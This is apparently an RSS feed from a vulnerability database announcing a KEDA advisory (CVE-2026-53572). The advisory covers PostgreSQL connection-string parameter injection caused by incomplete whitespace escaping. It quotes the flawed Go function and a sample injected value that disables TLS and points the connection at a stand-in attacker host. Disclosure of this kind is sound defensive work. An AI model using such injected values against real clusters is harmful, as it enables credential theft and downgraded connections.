<?xml version='1.0' encoding='UTF-8'?>
<?xml-stylesheet href="/static/style.xsl" type="text/xsl"?>
<rss xmlns:atom="http://www.w3.org/2005/Atom" xmlns:content="http://purl.org/rss/1.0/modules/content/" version="2.0">
  <channel>
    <title>Most recent entries from all</title>
    <link>https://vulnerability.circl.lu</link>
    <description>Contains only the most 10 recent entries.</description>
    <docs>http://www.rssboard.org/rss-specification</docs>
    <generator>python-feedgen</generator>
    <language>en</language>
    <lastBuildDate>Fri, 02 Oct 2026 12:26:19 +0000</lastBuildDate>
    <item>
      <title>fkie_cve-2026-53572</title>
      <link>https://vulnerability.circl.lu/vuln/fkie_cve-2026-53572</link>
      <description>&lt;p&gt;KEDA is a Kubernetes-based Event Driven Autoscaling component. Prior to 2.20.0, pkg/scalers/postgresql_scaler.go constructs libpq-style connection strings from tenant-controlled host, port, userName, dbName, sslmode, and password values, while escapePostgreConnectionParameter() only quotes values containing a literal space. Tabs, newlines, carriage returns, form feeds, vertical tabs, quotes, and backslashes can therefore create additional key-value tokens when pgx parses the string. An attacker able to create or modify a TriggerAuthentication or ScaledObject can inject host or sslmode parameters, redirect the database connection to an attacker-controlled server, expose credentials, or disable intended TLS protection. This issue is fixed in version 2.20.0.&lt;/p&gt;</description>
      <content:encoded>&lt;p&gt;KEDA is a Kubernetes-based Event Driven Autoscaling component. Prior to 2.20.0, pkg/scalers/postgresql_scaler.go constructs libpq-style connection strings from tenant-controlled host, port, userName, dbName, sslmode, and password values, while escapePostgreConnectionParameter() only quotes values containing a literal space. Tabs, newlines, carriage returns, form feeds, vertical tabs, quotes, and backslashes can therefore create additional key-value tokens when pgx parses the string. An attacker able to create or modify a TriggerAuthentication or ScaledObject can inject host or sslmode parameters, redirect the database connection to an attacker-controlled server, expose credentials, or disable intended TLS protection. This issue is fixed in version 2.20.0.&lt;/p&gt;</content:encoded>
      <guid isPermaLink="false">https://vulnerability.circl.lu/vuln/fkie_cve-2026-53572</guid>
    </item>
    <item>
      <title>GHSA-6w3m-4hhp-775q — KEDA has PostgreSQL connection string parameter injection via incomplete whitespace escaping</title>
      <link>https://vulnerability.circl.lu/vuln/ghsa-6w3m-4hhp-775q</link>
      <description>&lt;p&gt;&lt;strong&gt;Affected:&lt;/strong&gt; Go: github.com/kedacore/keda/v2&lt;/p&gt;
&lt;p&gt;### Summary
`pkg/scalers/postgresql_scaler.go` builds libpq-style connection strings by concatenating `key=value` pairs separated by spaces. Each tenant-controllable field (`host`, `port`, `userName`, `dbName`, `sslmode`) is passed through `escapePostgreConnectionParameter`:
```go
func escapePostgreConnectionParameter(str string) string {
    if !strings.Contains(str, &amp;#34; &amp;#34;) {
        return str       // returned as-is for any non-space whitespace
    }
    str = strings.ReplaceAll(str, &amp;#34;&amp;#39;&amp;#34;, &amp;#34;\\&amp;#39;&amp;#34;)
    return fmt.Sprintf(&amp;#34;&amp;#39;%s&amp;#39;&amp;#34;, str)
}
```
The function only escapes when a literal **space** is present. Per libpq/pgx documentation, parameters are also separated by **tabs, newlines, carriage returns, and form feeds**, and backslashes are parsed inside quoted strings. Because those characters are not detected, a tenant-supplied value like `mydb\tsslmode=disable\thost=attacker.example.com` splits into additional `key=value` tokens when parsed by pgx, injecting attacker-controlled connection parameters.&lt;/p&gt;
&lt;p&gt;### Vulnerable code
`pkg/scalers/postgresql_scaler.go`, lines 155–164 and 250–257.&lt;/p&gt;
&lt;p&gt;### Impact
Tenants with the ability to create a `TriggerAuthentication` or `ScaledObject` that populates any of `host`, `port`, `userName`, `dbName`, `sslmode` can:
- **Force `sslmode=disable`** on a connection that the cluster owner intended to be TLS-only — silently downgrading to plaintext and enabling on-path MitM.
- **Redirect the connection to an attacker-controlled host** (`host=...`) to steal…&lt;/p&gt;</description>
      <content:encoded>&lt;p&gt;&lt;strong&gt;Affected:&lt;/strong&gt; Go: github.com/kedacore/keda/v2&lt;/p&gt;
&lt;p&gt;### Summary
`pkg/scalers/postgresql_scaler.go` builds libpq-style connection strings by concatenating `key=value` pairs separated by spaces. Each tenant-controllable field (`host`, `port`, `userName`, `dbName`, `sslmode`) is passed through `escapePostgreConnectionParameter`:
```go
func escapePostgreConnectionParameter(str string) string {
    if !strings.Contains(str, &amp;#34; &amp;#34;) {
        return str       // returned as-is for any non-space whitespace
    }
    str = strings.ReplaceAll(str, &amp;#34;&amp;#39;&amp;#34;, &amp;#34;\\&amp;#39;&amp;#34;)
    return fmt.Sprintf(&amp;#34;&amp;#39;%s&amp;#39;&amp;#34;, str)
}
```
The function only escapes when a literal **space** is present. Per libpq/pgx documentation, parameters are also separated by **tabs, newlines, carriage returns, and form feeds**, and backslashes are parsed inside quoted strings. Because those characters are not detected, a tenant-supplied value like `mydb\tsslmode=disable\thost=attacker.example.com` splits into additional `key=value` tokens when parsed by pgx, injecting attacker-controlled connection parameters.&lt;/p&gt;
&lt;p&gt;### Vulnerable code
`pkg/scalers/postgresql_scaler.go`, lines 155–164 and 250–257.&lt;/p&gt;
&lt;p&gt;### Impact
Tenants with the ability to create a `TriggerAuthentication` or `ScaledObject` that populates any of `host`, `port`, `userName`, `dbName`, `sslmode` can:
- **Force `sslmode=disable`** on a connection that the cluster owner intended to be TLS-only — silently downgrading to plaintext and enabling on-path MitM.
- **Redirect the connection to an attacker-controlled host** (`host=...`) to steal…&lt;/p&gt;</content:encoded>
      <guid isPermaLink="false">https://vulnerability.circl.lu/vuln/ghsa-6w3m-4hhp-775q</guid>
    </item>
    <item>
      <title>msrc_CVE-2026-53572 — KEDA: PostgreSQL connection string parameter injection via incomplete whitespace escaping</title>
      <link>https://vulnerability.circl.lu/vuln/msrc_cve-2026-53572</link>
      <description>msrc_CVE-2026-53572</description>
      <guid isPermaLink="false">https://vulnerability.circl.lu/vuln/msrc_cve-2026-53572</guid>
    </item>
  </channel>
</rss>
